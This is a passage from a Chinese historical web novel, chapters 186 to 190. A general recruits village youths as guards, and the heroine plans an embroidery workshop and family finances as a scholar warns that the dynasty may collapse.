高长天把高铁峰和一个副将两个校尉请进屋,安排朱钰、陆祥昆和刘一手作陪。 坐在暖和的大炕上,看着摆了满满一桌子的酒菜,高铁峰不由笑着感叹道: “要是落户的难民都能过上你们这样的日子,我就不愁了。” 这话不好接,朱钰看了眼高长天。 高长天憨憨一笑,非常实诚道: “我们运气好,路上发了点横财,难得您这样的贵客登门,自然要拿出最好的招待。” 高铁峰觉得这老头不玩虚的,对他胃口,主动拿起酒杯敬高长天, “那我就蹭蹭你们的好运,希望今年风调雨顺,你们有个好收成,我们的军粮也就不愁了。” 高长天忙举起酒杯,一饮而尽, “承将军吉言,我们一定好好干。” 朱钰等人也纷纷举杯敬酒,酒一下肚,气氛就热络了起来。 屋外,高娇娇跟着姚春香,帮着安排高将军带来的人吃饭。 人太多,再摆几桌席面不现实,只能吃大锅菜。 罗子娘和李二娘带人把各家多余的碗筷,和桌椅板凳都拿了过来,怕饼子不够,把各家的馒头窝头也拿来了不少。 一人一碗菜一张饼,吃完了再添,管够。 菜虽然是最常见的白菜炖豆腐,但里面放了粉条和肉丸子,味道那是相当好。 吃了烩菜和饼子,鸡汤也熬好了,每人再来一碗鸡汤,吃几块鸡肉,肚子里最后那点缝隙也被填满了,撑的直犯困。 高娇娇见高铁峰也吃饱喝足了,似乎被外头的热闹吸引,让人打开了窗户,便立刻冲高大宝几个使眼色。 高大宝吃饭的时候就已经跟高将军带来的人混熟了,看到高娇娇冲他使眼色,便随意挑个话头就说到了力气大,然后就跟人比试起力气来了。 高大宝几个撸起袖子先展示了一下健壮的肌肉,然后就比划着抱石碾来。 石碾在第一次被高娇娇嫌碍事抱起来放到边上后,就成了高大宝几个挑战自己的工具。 他们在想了很多办法,试了很多次后,终于找到了各自最舒服的发力位置,能把石碾给抱起来了。 然后就开始挑战谁能像高娇娇那样抱起来走动,在高娇娇送杜衡去书院之前,这个挑战还没有人能成功。 但是能把石碾抱起来,就足以向高将军他们展示了。 第一百八十六章 将军选人 高娇娇吃饭的时候可打听清楚了,高将军这趟过来想选几个亲兵。 这就是送到高大宝几个眼前的机会,高娇娇已经让朱钰想办法在高将军面前提一提高大宝他们了。 让将军知道他们练过功夫会射箭,识字还会算数,能绘制简单的舆图,还认识不少草药,懂一点医术。 现在再展示一下力气,高娇娇觉得应该差不多了。 只要高将军眼不瞎,就该看出来高大宝他们几个是好苗子,不挑他们又能挑谁去? 果然,在高大宝一把把石碾举起来后,高将军从屋里出来了。 高铁峰忍不住拍手叫好,高大宝激动又羞涩,脸涨的通红。 姚小满不由有点紧张,忍不住担心自己要是在将军的面前失了手可咋整,本来都已经迈出去的脚,不由想往回收。 高娇娇一把把姚小满推了出去,冲他挥了挥拳头。 姚小满在高娇娇的威力威胁下,只得硬着头皮走上前,深吸一口气,扎稳马步,两手环抱,大喝一声。 三百来斤的石碾,被他一把抱了起来。 见姚小满光抱起来手就有点抖,高娇娇知道他肯定是举不起来了,生怕他强行举,赶忙拍手叫好。 同时用脚尖踢了踢吴仓,示意他赶紧上去接手,别让姚小满再往上举了。 吴仓机灵,立刻上前嚷道: “小满好力气,快放下让我也试试,我还没举过这个呢。” 姚小满有点懵,昨天他们还在一块儿举着玩呢,吴仓难道给忘了? 可吴仓都走到跟前了,姚小满也只得放下。 于是,在高娇娇的精心安排下,黄有田、罗保全几个都上去展示了一下力气,引得众人不停叫好。 高铁峰也终于说出了高娇娇最想听的那句话, “你们村这帮后生不错啊,想不想跟我去军中历练几年?” 高大宝立刻大声道: “想,我早就想去杀蛮子了!” 姚小满几个也纷纷表示想要上战场,杀蛮子。 高铁峰见状很是高兴,却突然问了个让高大宝等人措手不及的问题, “你们为什么那么想杀蛮子?” 高大宝几个愣住了,杀蛮子还要为啥? 蛮子本来就该杀啊! 高娇娇一看要糟,立马狠狠掐了一下自己的大腿,红了眼眶沉声道: “将军大概也知道我们是逃荒过来的,我们路上遇到过几伙假扮成土匪的蛮子,他们凶残的很,连女人孩子都不放过....... 我家小寒和冬月,就是被蛮子抓来的孩子,要不是遇到我们,他们就被蛮子吃了。 后来我们才知道,暴民作乱就是蛮子在捣鬼,绛县一个城都被屠了,死了那么多人,血都流成河了。 咱们跟蛮子是血海深仇不共戴天,不把蛮子灭了,咱们都别想过安稳日子。 我们虽然没什么本事,但我们也想出份力,您就把他们几个带上吧,让他们替我们去杀蛮子,保家卫国。” 她虽有私心,这番话说的却是情真意切。 听得绛县来的那帮人不由想到了自己的家人,有人忍不住嚷道: “将军,我也想上战场杀蛮子,您把我也带上吧,我杀过土匪,我能打。” “我也能,将军,把我也带上吧,我要给我爹娘媳妇,还有我那没出世的孩子报仇!” “我家十九口人,就活下来我一个,我不怕死,我去跟蛮子拼命!” “我们都不怕死,我们都想去杀蛮子!” ....... 高娇娇没想到一下子群情激奋到这种程度,不由有点慌。 不能去这么多人啊,青壮都跑了,村里怎么办? 高铁峰见众人这般,不由有些动容,他抬起手轻轻往下压了压,众人安静了下来。 “大家的心意我都明白,承蒙你们的厚爱,愿意跟着我高某人。 不过咱们军中有规定,独子独户的不行,再怎么也得给家里留个后啊。 还是让年轻后生们先跟我走,以后要是有需要,我优先来你们村挑人,行不行?” “行行行,当然行,将军随时过来随便挑,咱们村的男人就没有一个怂的,您只要一句话,咱们刀山火海都不怕。” 朱钰赶忙应声,生怕石小山这群没脑子的,又说出什么乱七八糟的话来。 高大宝他们年岁小,进了军营有机会当将军的亲兵,有机会立功往上爬。 石小山他们都一把年纪了,进了军营能干啥? 只能当一辈子大头兵,能有什么前程? 还不如在村里种地打猎,娶个媳妇多生几个娃,安安稳稳过一辈子呢。 最终,高铁峰选了高大宝、姚小满、吴仓、黄有田、罗保全五人,当即就要带走他们。 姚春香和罗子娘等人傻了眼,她们还没给孩子准备行李呢,这就要走了? 跟在高铁峰身后的校尉,笑着解释道: “去了就给他们发衣服被褥,咱们从头到脚所有的东西,军中都会给配齐,你们什么也不用准备。 放心把人交给我们,保证亏待不了他们。” 都这时候了,不放心也不行了,为了孩子的前程,姚春香等人只得咽下不舍。 高娇娇见罗子娘都抹起了眼泪,忙劝道: “婶子,你这是干啥呢,他们又不是去了就不回来了。 还不是跟杜衡一样,隔一段时间回来一回,就是隔的时间可能长点,可能得个一年半载的。 但肯定能回来,再说咱们离孟门关也不远,有机会我带你们过去看看。 你们不想看他们穿着盔甲威风八面的样子?” 罗子娘一听这话,心里好受了不少。 高铁峰还要去别的村,不能在石楼村这里再逗留。 高长天和朱钰带着村民,把高铁峰等人一直送到了官道上,直到他们跑远再也看不见了,这才往回走。 罗子娘几个没忍住,又哭了起来。 高娇娇没耐心哄了,干脆磨磨蹭蹭走到了最后,看到同样落在最后的张狗子,忍了又忍,还是忍不住问, “你为啥不想去军中效力?” 张狗子垂着眼,淡淡道: “不习惯整天被人管着。” “真的?” “不然呢?” “你是不是已经知道了?” “知道啥?” 高娇娇看着装傻充愣的张狗子,没再继续追问。 她觉得张狗子大概是知道他的身世了,心里已经有了打算。 爹娘他们商量再三,还是决定等一等再说,想让张狗子再长大一些,再厉害一点,稳重一点,再告诉他身世的秘密。 可高娇娇从张狗子今天的表现上,看出了端倪。 以她对张狗子的了解,这么好的机会摆在眼前,他不会无动于衷的。 可今天他不仅没往高将军跟前凑,甚至还主动避嫌,任何表现的机会都不露面,恨不得离高将军的人八丈远。 这很反常,一点都不像平日里的张狗子。 所以高娇娇大胆推测,他可能另有打算。 试探了下发现这小子的嘴是真的严,居然一点也不想透露。 算了,人各有志,强求不得。 高娇娇不问了,张狗子却忍不住问她, “你为啥突然问我这个? 你是不是知道什么了?” 高娇娇扭头看向张狗子,挑眉似笑非笑, “想套我话啊? 我就不说,我憋死你。” 说完,几个大跨步,把张狗子甩在了身后。 张狗子愣了下,摸着鼻尖笑了起来。 这人,有时候也太孩子气了吧。 高春花扭头寻找张狗子的身影,看到张狗子盯着姑姑的背影笑,心里顿时有点堵。 他到底是不是喜欢姑姑啊? 怎么就只跟她一个人亲近,在她面前笑也就罢了,她都没看见,还冲她笑呢。 怎么就不能冲她多笑一笑啊....... 第一百八十七章 投资有风险 高娇娇才走到人群中就听到了高春花的心声,无语的只想翻白眼。 又来了,没完了,好烦人啊。 恋爱脑真是没救。 家里突然少了几个人,有种说不出的冷清,别说姚春香,就连高娇娇都有点不习惯。 为了显得热闹,晚上高娇娇便带着杜映梅,领着高小寒和高冬月过来蹭饭。 一大家子围坐在一起,吃着中午的剩菜,喝着粥,说说笑笑,好像跟以前一样热闹。 只是终归是不一样了,高二壮习惯性把饼子一撕两半,正要递过去,才想起儿子走了,以后他不用再从自己的嘴里省粮食,去填饱半大小子的无底洞了。 高娇娇见二哥有些失落,忙把饼子接过来笑着道: “还是二哥疼我,知道我今天累狠了,生怕我饿着。” 说着,咬了一口饼子,故意叹气道: “你们是不知道,这几天把我给累的啊,对了,我在城里买了房子的事还没跟你们说吧........” 众人顿时被高娇娇的话吸引了,刘小翠更是迫不及待想知道,她这个小姑子是怎么一下子就能去城里买房子了? 那可是城里的房子啊,他们怎么能买得起? 高娇娇见众人终于不再盯着高大宝他们几个离开的事了,忙把自己如何买房子,如何改造,如何砍价,如何去牙行贴布告的事,统统说了一遍。 刘小翠惊叹连连, “原来城里的房子也不是都贵得很啊,五十二两就能买个铺面带小院,这也太划算了吧........” 林巧儿感动不已,拉着高娇娇的手连声道: “好妹妹,难为你想着我们,要是真能打听到一点我家那边的消息,我能高兴死。 我但凡梦到我娘家人,他们不是冲我哭,就是冲我喊救命,要么就是血肉模糊倒在我面前。 我这心啊,都要碎了........” 林巧儿说着说着眼泪便掉了下来,心疼的高三壮赶紧安慰, “梦都是反的,岳父他们吉人天相,肯定会没事的,你别乱想。 小妹已经请人贴了告示,见过他们的人若是看见,肯定会给咱们送信的。 说不定过些天就会有好消息了,你别整天自己吓自己。” 刘小翠这才反应过来,小姑子还帮她们贴了寻人启事,忙尴尬地笑了笑。 其实她吧,一开始确实挺担心娘家那边的,可这一路上见了太多的生生死死,她早就麻木了。 加上她的日子越过越好,要操心的事也越来越多,就不怎么顾得上娘家那边了。 但是对高娇娇愿意花钱帮着她找娘家人这事,刘小翠还是很开心的。 觉得自己嫁到高家这么多年,终于也能享一下小姑子的福了,真是不容易的很。 不过让她跟老三媳妇那样,又是哭又是感激不尽的,她可做不出来。 她只能硬邦邦挤出一句不咸不淡的感谢, “小妹有心了。” 高娇娇扯了扯嘴角,她不光有心,她还花钱了呢。 哪知刘小翠立刻又道, “小妹,你看你都买了房子了,能不能帮着家里也买个房子啊。 你那铺面一年就能收那么多房租,咱们要是多买几个铺面,不是啥也不干就月月有钱收了吗?” 高娇娇笑了,她这大嫂,真是个秒人啊。 居然一步到位,想当收租婆了。 那她可得好好跟她算笔账,拿出从城里买来的小算盘,高娇娇噼里啪啦开始算。 岚县有两条主街,主街之间有六七条小街道,她那铺子在最外围的街道上,只占了一条离书院近,其实并不算好。 加上铺面门头小,主家又急着出手,所以要价才会那么低。 她跟牙行的人打听过主街上的铺面,一间差不多要一百两,一年十到十五两的租金。 听上去不少,但实际上很少会有商户一直租一家铺面很多年,为了保险起见只能按最少一年十两的租金算,大概十年才会回本。 也就是说这一百两银子花出去后,最少也要十年才能收回本钱。 这还得十年内房租月月都能收上来,城里没有发生任何动乱,铺面没有任何损毁的前提下。 但凡哪个出问题,都要往后拖延,甚至赔钱。 高娇娇算完,刘小翠不干了, “那照你这么说,买铺子也挺有风险的,那你怎么还买?” “因为我不怕赔钱啊。” 高娇娇给出了一个让刘小翠哑火的理由,她怕赔,她不敢冒这个险。 姚春香还是觉得高娇娇太冒险了,忍不住埋怨, “你手里真是不能拿钱,你太能花也太敢花了,这么大的事这么轻易就定下了,也不回来跟我们说一声。 以后用钱的地方还多着呢,你这么大手大脚怎么行。” 刘小翠撇嘴,这就是她对小姑子最不满的地方,她怕小姑子把自己手里的银子花完找他们要钱。 以公婆对小姑子的宠爱,和男人对小姑子的纵容,他们肯定不会不给的。 可她真是一点都不想管杜家那俩拖累,还有那两个小孩,无亲无故白养着他们,那不是冤大头又是啥? 高娇娇咧嘴一笑, “没多少花钱的地方了,杜衡考了第一,进了甲班,不用交一文钱束脩。” 众人愣住,片刻后,姚春香没忍住拍了高娇娇后背一下,笑着骂道: “你这丫头,这样的好消息怎么现在才说?” 高娇娇苦着脸道: “我不是没顾上嘛,回来就碰上了高将军他们。 娘,你下手轻点,拍的我好疼。” 高长天没忍住,瞪了姚春香一眼,心疼地抚了抚闺女的后背。 姚春香也心疼,忙摸了摸高娇娇的头哄了哄, “娘这不是高兴嘛,小衡读书还真行,在岚县还能考第一,以后肯定有出息。” “那肯定的啊,”高娇娇抬着下巴,傲娇道: “你们也不看看他是谁弟弟,由我带着,能不厉害吗?” 高三壮笑着揭妹妹的短, “你怎么带人家了?你都不爱读书,学识字的时候总是偷懒。” 高娇娇不乐意了,噘嘴道: “我偷懒怎么了?我看一遍就会了,干嘛要跟你们一样一遍遍重复? 我又不能考功名,干嘛要读那些之乎者也? 我只要把有用的学得好就行了。” 高大壮点头, “妹妹确实聪明的很,自己就能学会打算盘。” “小妹,你真的就看了看,请教了下人,就会打算盘了?” 高二壮还是有点不敢相信,他以前出去干活的时候,听人说算账可难了,那些老账房学打算盘都要好些天。 高娇娇一点都不心虚,毫不客气道: “这么简单的事,谁能不会啊? 你们要是想学,我教你们啊,真的很简单。” 然后就把算盘一晃,给大家演示了一遍算盘的口诀。 其实一般人用算盘计算,用到的无非是加法口诀和减法口诀,只要不涉及大额计算,乘除都用的很少。 加法口诀和减法口诀是相对应的,只要记住一个,另一个就很简单。 她小时候被爷爷教了两遍就记住了,剩下的只用在算盘上多打几遍,熟练了就会成为本能,不会轻易忘记。 高二宝几个见高娇娇打的好看,都好奇试了试,结果没想到打的最好的是高春雨。 见大家都看着自己,高春雨红着脸小声道: “我跟着师父学认草药的时候,师父教过我看称算数,可能是因为这个,我记这个口诀比较容易。” 高娇娇点头,夸赞道: “我听刘一手说过,你学的很刻苦,照这么下去,要不了三年就能学制药了。 你好好学,争取把你师父的医术都学会。 我听人说太医院会招录医女,你要是好好学,说不定将来能去太医院当医女呢。” 高春雨激动不已, “真的吗?女人也可以进太医院?” 高娇娇正要点头,就听到刘小翠用很是嫌弃的语气道: “女人怎么能当大夫呢?女人只能做稳婆,给人接生孩子。 小姑娘家家要是做这个,将来可嫁不出去。” 第一百八十八章 准备开办绣坊 见娘又扫大家的兴,高春花忍不住悄悄扯了下她的衣袖。 刘小翠不满甩开高春花的手,她说的有啥不对的? 她从一开始就反对家里的姑娘学医,女人该学的是针织女红,洗衣做饭,学医那是男人的事。 与其让她们去学那劳什子的医术,还不如在家里多帮着干点活。 高娇娇没好气道: “那是你见识少,医女自古以来就有,进了太医院,那就是医官了,不仅是正经的朝廷官员,还有俸禄呢。 春雨和秋菊都有学医的天赋,只要努力,未尝没机会成为医女。 要是能进太医院,当上医官,那咱家祖坟上可就冒青烟,要改换门庭了。” 高春雨和高秋菊听到这话,不由红了脸,她们哪儿有那样的本事啊。 但又忍不住激动向往,暗暗下定决心要好好努力,不辜负姑姑对她们的期待。 说到孩子们的前程,姚春香不由有点担忧,吃过饭拉着高娇娇进她屋单独聊了聊。 这眼看着大宝和小满有了前程,春雨和秋菊也学了医,剩下的孩子咋整? 总不能还跟以前一样吧,回头兄弟姐妹之间差距太大,怕是会影响感情。 这事儿高娇娇早就琢磨过,三婶的绣坊可以准备起来了。 她去城里绣坊打听了,绣活一般分两种,一种是小活儿,绣个手帕荷包打个络子什么的,布料绣线绣坊出,做好了拿过去,一个给三到五文的工钱。 还有一种是大活儿,比如衣服喜服摆件什么的,原料也是绣坊出,但是绣娘要来绣坊里绣,根据活儿的大小结算工钱。 要是自己出工出料绣出来的团扇、肚兜什么的,绣坊也收,价钱得看绣工和原料的成本。 高娇娇见过林巧儿绣出来的东西,比对绣坊展出的绣品,以她外行人的眼光看,林巧儿的绣工比专业绣娘也不差多少。 但是绣大活儿太费眼睛了,家里也没缺钱到非要让女人点灯熬油赚这个钱的份上,更何况除了林巧儿和高秋菊,家里其他人也不会绣。 所以高娇娇打算先收拾出来一个地方,让林巧儿每天抽空教想学绣花的姑娘们一两个时辰,等把她们教的能绣小活儿了,再正式开个绣坊。 高娇娇去跟城里的绣坊谈合作,每个月她们供应给绣坊多少绣品,绣坊给她们多少工钱。 等绣娘培养起来,能接大活儿了,高娇娇打算去并州府转转,看看能不能跳过绣坊,以自己绣坊的名义接活儿干。 姚春香觉得这个主意是不错,就是前期得投不少钱,还有就是家里人手不够。 绣花这种手艺可不是一时半刻能学会的,一学好几年都是常有的事。 姑娘一旦学了绣花,就得好好保养手,不能再干粗活了,做饭还凑合,洗衣服搓麻绳纳鞋底啥的肯定是不行了。 男人们要种地还要打猎,回来顶多帮着挑个水劈个柴,再想让他们做别的,他们也吃不消。 高娇娇一点也不担心这个,她提醒姚春香, “娘,咱家不是以前在老家的时候了,种地只是为了托底,不是非得种地才能活得下去。 你们手里那些银钱,一直攥着不用也不会变多一点,我虽然不鼓励你们去城里买房买铺子,但是你们也得在培养后代上使使劲。 地里的活儿可以雇人干,家里的活儿也可以请人干,实在不行,衣服鞋袜还可以去城里买,不是什么都非要自己做才行。 腾出手,让孩子们去学本事,让每个人都能发挥自己的所长,这个家才会越来越兴旺。 再遇到突发情况,咱们也不至于又要去逃荒。 你说是不是?” 姚春香被这番话给震住了,等高娇娇回了家,高长天跟朱钰他们商量完事回来了,姚春香还在反复琢磨这番话。 高长天以为她还在惦记大宝和小满,忙温声安慰了一通。 结果说的口干舌燥才发现姚春香根本没在听,再一问才知道她原来是在琢磨闺女的话。 高长天喝了一碗水,没好气道: “这有啥好琢磨的,闺女那么聪明,还能害咱们不成? 她想干啥你就让她干呗,她没银子了你给她拿点,就算干不成,咱家还有那么多地呢,再怎么也不会过不下去。 等把地种上,我就带人进山打狼,多打几头,啥都有了。” 说完,把碗一放,嘴一抹,倒头就睡。 姚春香见高长天转眼就打起了呼噜,不由轻轻捶了他两下,嗔怪道: “没心没肺,跟猪一样。 你哪儿知道我担心啥,太聪明能干也不是好事,太招人眼了。 唉,以前木木呆呆,我担心她会被人给欺负了。 现在聪明成这样,我又担心她会被有心人惦记上。 你是不知道那些有权有势的人有多坏,她还是个寡妇的身份,更麻烦。 唉,说到底,还是咱们当爹娘的没本事啊。” 感叹了一番,姚春香也睡了下来。 听着老头子的呼噜声,想着他说的话,心也就慢慢的平静了。 是啊,如今家里有那么多的地,即便银子都折腾没了,也没什么好怕的。 闺女想弄就让她弄吧,孩子们大了,都有自己的想法了,想出去扑腾扑腾也行。 次日一早,高娇娇还没来及去找林巧儿商量绣坊的事,就被高长天喊着带去了地里。 高长天指着已经平整好的地对高娇娇道: “趁着现在地还不是特别干,赶紧把种子种下去,你朱叔夜观天象,估摸这两天就要下雨了。” “我朱叔还会看天象?真的假的?” 高娇娇震惊了,这真的不是朱钰胡诌的? 高长天瞪眼, “那还有假?你朱叔不仅会观天象,还会看风水算八字,他可是秀才呢,肯定上知天文下知地理。” 高娇娇眉头都快皱成八字了,她爹不会是被朱钰给忽悠瘸了吧? 秀才学的是四书五经,跟这些可八竿子打不着啊。 但高长天信啊,在他的催促下,高娇娇只得套上牛,叫上杜映梅,开始播种。 高娇娇懒,不想跟高长天他们整天待在地里干活,计划只种两种作物,荞麦和莜麦。 现在种下,等七月份收割了,正好种玉米。 中间除草浇水追肥什么的,她都计划雇人干,自己只管播种和收割,这样就能腾出手干别的了。 播种比翻地省力,但是更费人,一天下来,高娇娇胳膊酸脚疼,杜映梅也累的坐在炕上一动不想动。 不过看到高小寒捧着比他脑袋还大的碗走进来,杜映梅还是一骨碌爬了起来, “你又做饭了,不是跟你说了,等我回来自己做吗? 你这么小,踩着凳子才够得着锅,当心一个弯腰,把脑袋栽锅里去。” 第一百八十九章 请人帮忙 高小寒笑嘻嘻道, “我当心着呢,不会栽锅里的,姑姑们快吃吧,我去拿馒头。” 说着,把一大碗肉沫萝卜丝炖粉条放在了炕沿上,又跑去了厨房。 杜映梅把菜放到炕桌上,冲高娇娇道, “其实我小时候也踩着凳子做过饭,我娘身子不好,一到换季就病的起不了床。 大哥二哥要去地里干活,我就只能踩着凳子自己学着做饭。 村里孩子好多都这样,可不知怎地,我就是舍不得让小寒和冬月也这样。” 高娇娇笑道, “那说明你善良,舍不得让别人吃你吃过的苦呗。 不过我看小寒干的挺开心,他想帮忙就让他干吧,又不是一直这样,忙过这两天就好了。” 杜映梅点头,她能理解小寒的心思,他已经到了能听懂话的年纪,知道自己跟嫂嫂没有血缘关系,生怕自己成了嫂嫂的拖累。 她还不是整天跟在嫂嫂后头,就想多干一点活,让嫂嫂不那么累。 本来嫂嫂可以回高家享福的,还不是为了他们,才弄的现在也得下地了。 杜映梅卯这劲儿要好好干,给高娇娇减轻负担呢,哪知地才种完,高娇娇就突然问她, “你要不要去学绣花?” 杜映梅愣住了,她绣花,就她这笨手笨脚的,能学会绣花? 高春花也在怀疑自己的耳朵,因为高娇娇也问她了。 但她比杜映梅反应快,立刻问高娇娇, “姑姑,你学吗?” 高娇娇把头摇成拨浪鼓,她可学不了,让她每天拿根针在哪儿戳啊戳,她会烦死的。 见高娇娇不学,高春花立马道: “那我也不学,我手笨,学不了。” 她们都不学,杜映梅自然也不想学, “嫂嫂你干啥我就干啥,你不学我也不学。” 高娇娇想了下,高大宝和姚小满走了,张狗子又是个主意大的,她接下来要干的事确实也需要帮手,便点头道: “既然这样,那你俩学算账吧,我接下来要弄个绣坊,还要养鱼,你们得学会算账才能帮上忙。” 高春花和杜映梅忙点头答应,扒拉算盘珠子可比拿绣花针有意思多了,还能跟着高娇娇长见识,她们当然愿意。 于是,三个人便愉快的决定了,然后高娇娇就去找林巧儿商量。 林巧儿自然很愿意办绣坊,她其实并不是很擅长做家务,以前在高家的时候,她大多时候也是绣花做衣服。 洗衣做饭的活儿都是大嫂和二嫂她们轮着干,她每月多往公中交点钱,她们也不会有太大意见。 只是现在二嫂走了,秋菊和春雨每天上午还要去医馆,大宝和小满也走了,剩下的孩子还小,她再不帮着干,大嫂实在干不过来。 她要是去办绣坊,每天就得待在那儿,家里怎么办? 这个姚春香已经安排好了,她请了双水村的曹寡妇过来帮忙。 姚春香第一次去双水村换东西,就是跟曹寡妇换的,后来又换了好几次,就逐渐熟悉了。 曹寡妇的男人在去年蛮子屠村时死了,公公婆婆也在寒流时相继病逝,只剩下她和一儿一女相依为命。 日子过的艰难自不用说,但曹寡妇为人正派,即便再穷再难,也不会占人便宜。 姚春香觉得她人不错,也去过她家,知道她是个勤快能干会过日子的。 就去找她商量,让她每天过来帮着干半天家务活,管一顿中午饭,每月给十斤粮食和一百文钱。 曹寡妇十分愿意,只用去半天,不影响她干地里的活儿,能吃顿饱饭,还有粮食和钱,这种好事打着灯笼也难找啊。 不过她还是厚着脸皮提了一嘴,能不能把儿子也带上,不要工钱,只要中午管饭。 她儿子十岁了,会劈柴能挑水,也能帮着烧火做饭。 姚春香养大了那么多孩子,太清楚半大小子有多能吃了,见那孩子瘦的跟骨头架子一样,一看就是没怎么吃饱过。 便点头同意了,让曹寡妇过来的时候把儿子女儿都带上,中午饭她都管了。 曹寡妇感激万分,当即就让孩子们给姚春香磕头,被姚春香拦住了。 得知姚春香的安排,林巧儿感动万分,她觉得自己嫁到这样的人家,遇到这样的婆婆真是烧了高香了。 刘小翠不乐意的很,觉得婆婆太偏心,可还不等她开口,高春花就凑到她耳边小声道: “娘,姑姑说了,等绣坊开起来了让我管账。” 刘小翠顿时就乐意了,管账好啊,以后绣坊赚的钱都要从她闺女手里过,那不就跟她家的钱一样? 想到这儿,刘小翠立刻主动向姚春香表态道: “娘,你就放心吧,大不了我以后多干点,让老三媳妇腾出手好好教孩子们绣花。 学成本事都是自己的,以后家里姑娘说婆家,人家也能高看咱们一眼。” 姚春香吃了一惊,老大媳妇突然这么懂事,她还挺不适应的。 林巧儿也不知道大嫂怎么突然变得这么大度了,但这事儿明显对她有好处,她还是立刻表达了感谢。 刘小翠十分生疏的客套了两句,看的高娇娇好笑不已,悄悄冲高春花竖起了大拇指。 家里的事安排妥当了,剩下的就是找地方,从村里招愿意学绣花的姑娘,以及准备开办绣坊要用的东西。 高娇娇让杜映梅和高春花负责找地方,让姚春香帮忙招人,自己去城里买要用的东西。 至于林巧儿,则负责挑选。 从杜映梅和高春花找到的空窑洞里,挑选出最适合教学的地方。 从姚春香招来的人中,挑选适合学刺绣的姑娘。 高娇娇拿着林巧儿口述,她自己手写的清单,进城采买。 绣坊出资的事,她们已经商量好了,还是由高娇娇投钱,不凑份子合伙,省的以后麻烦。 高娇娇要是银子不够,姚春香代表高家借给她,但是对外绣坊就是高娇娇一人投钱办的,跟医馆一样,都是她的产业。 至于赚了钱要怎么分,那是她和林巧儿她们的事,她们自己商量决定。 高家人不参与,村里其他人就更加别想参与了。 高娇娇知道这是姚春香他们对她的保护,也是为了避免让绣坊卷入村里的人情世故中,便点头同意了。 朱钰听说高娇娇要进城,便过来说要一起去,他也有东西要买。 高娇娇好奇, “朱叔你进城要买啥?” “买点书,再买点笔墨纸砚,给村里的孩子启蒙用。” 朱钰的话让高娇娇愣住了,忍不住凑近问他, “你不出去谋前程了?要留在村里当教书先生?” 朱钰没好气敲了高娇娇脑袋一下, “谁说我要当教书先生了,我只是闲得慌,顺便教你们多识几个字,免得以后出去了被人坑。” 高娇娇表示不信,上次高将军他们过来,她就觉得奇怪。 看高将军那样子,分明很欣赏朱钰,朱钰非但不顺杆爬,跟着高将军去军中谋前程,还打算给村里孩子启蒙。 怎么想都不对。 还有路上她也没见过朱钰展示看天象看风水的本事,怎么到了石楼村就忽然显露出来了,这让高娇娇闻到了作秀造势的味道。 第一百九十章 重新规划 高娇娇盯着朱钰,故作随意问道, “朱叔,你是不是想搞大事了?” 朱钰捋了捋胡子,淡淡道: “天机不可泄露。” 高娇娇心里一沉,他没否认,那就是真的要搞事。 抿了抿,她试探道: “嘁,你不就是嫌高将军官小,想钓条更大的鱼嘛,当我真看不出来呢。” 朱钰怔了下,猛地扭头看向高娇娇,眼中异彩连连。 高娇娇被看的鸡皮疙瘩都起来了,不禁往后退了两步,连忙道: “我随口胡说的,你别当真。” 朱钰心情复杂地看着高娇娇,叹息道: “你要是个男儿身,定会大有作为,可惜了。” 高娇娇忍不住撇嘴,她才不稀得当男人呢,更不稀罕什么大作为,她对现在的生活很满意。 有房有地有钱有事干,最重要的是有家人。 所以她不希望有人打破这里的平静,她看着朱钰认真道: “朱叔,我觉得不是只有成为大人物才能有大作为,小人物也能通过努力改变很多东西。 我想让村里大人孩子都能过上安稳日子,孩子能读书识字学本事,老人能安享晚年。 不用再惧怕战乱灾荒,不用担心明天会怎么样,能在这里长长久久的生活。” 朱钰愣怔了好一会儿,突然用力拍了下高娇娇的脑袋,讥笑道: “你痴人说梦呢,天下没有这样的地方,即便有,也会被毁掉。” 高娇娇被拍的有点疼,抬头愣愣地看着朱钰。 他脸上流露出浓重的悲伤和苍凉,望着远方,如念诵祭词般沉痛道: “国之将兴,必生祥瑞,国之将亡,必有妖孽。是时重器衰颓,教化不善,天下不治,社稷动摇。又行逆反,不循天道。变古乱常,不死则亡,此为国殇。” 高娇娇听得头皮发紧,心里震颤。 这话的意思是灾祸还远没有过去,这个国家可能会灭亡? 朱钰低头看向高娇娇,高娇娇慌乱移开视线。 她不想被朱钰看出心中所想,刚才他说的那番话,她不应该听得懂的。 她只是个刚学识字没多久的村姑,天下大乱,王朝更迭,这些事她不该懂,也不能懂。 见高娇娇避开视线,朱钰有些失望,但也在预料之中。 他长叹了口气,对高娇娇说出了肺腑之言, “你若想在这乱世中打造一个桃花源,只有效仿之前的张家集,高筑墙广积粮。 吸纳流民,训练私兵,把这里建成一个坚不可摧之地,才有一线生机。” 高娇娇的脑袋像是挨了一记重锤,去县城的一路上都晕晕乎乎。 朱钰的话戳破了她的幻想,让她来到石楼村后放下来的心,又提了起来。 不得不直面这个残酷未来的现实,让她心情很不好,但她知道,朱钰说的是对的。 她以前的想法太天真了,得重新规划。 到了县城,朱钰便跟高娇娇分开了。 高娇娇直奔铺子,她当时急着回家,只跟租铺子的两口子匆匆打了个照面,把租金一收,文书一写就走了。 都不知道那两口子把铺子开起来没有,也不知道在这条街开馄饨铺子行不行。 不是吃饭的点,铺子里只有一个食客,一边吃着馄饨一边跟店家有一搭没一搭聊着天。 店家娘子坐在柜台旁边,一边包着馄饨,一边听他们闲聊,时不时也插一两句。 他们聊的也不是什么稀奇事儿,食客说今年的天热的太快了,感觉刚过了二月,就一下子热了起来。 店家点头附和,说自己夹袄都没穿两天,就热的穿不住了。 店家娘子也道往年不会热的这么快,三月还要冷好一阵儿呢。 食客便道听人说这甲子年的灾荒还没过去,别看现在这么热,说冷一下子就冷了,保不齐还会下雪呢。 店家和店家娘子不由发起愁来,老话说的好,三月桃花雪,清明大风寒。 一旦倒春寒,今年的收成肯定又要不好了。 收成不好,粮食就要涨,粮食涨,别的就要跟着涨。 他们开这种小铺子的,最怕就是涨价。 米面粮油肉蛋都涨了,饭钱不涨要赔钱,可涨了食客们就不情愿,难的很呢。 高娇娇坐在驴车上,听着他们的长吁短叹,看看头顶明晃晃的大太阳,抹了把额头的汗,忍不住也想跟着叹气了。 他们担心的,好像真有可能发生。 这天气实在是热的不正常。 朱钰的话说不定很快就会验证,这让高娇娇心里不由有点急,她好多事都没开始弄呢。 将驴车赶到小院,喂了水,往石槽里添了些草料。 高娇娇去铺子转了一圈,跟租户打了声招呼,问了问他们铺子的情况。 得知虽然刚开业,但因为手艺好要价低,吸引了不少住在附近的食客,应该能顾着本儿,高娇娇不由放下心来。 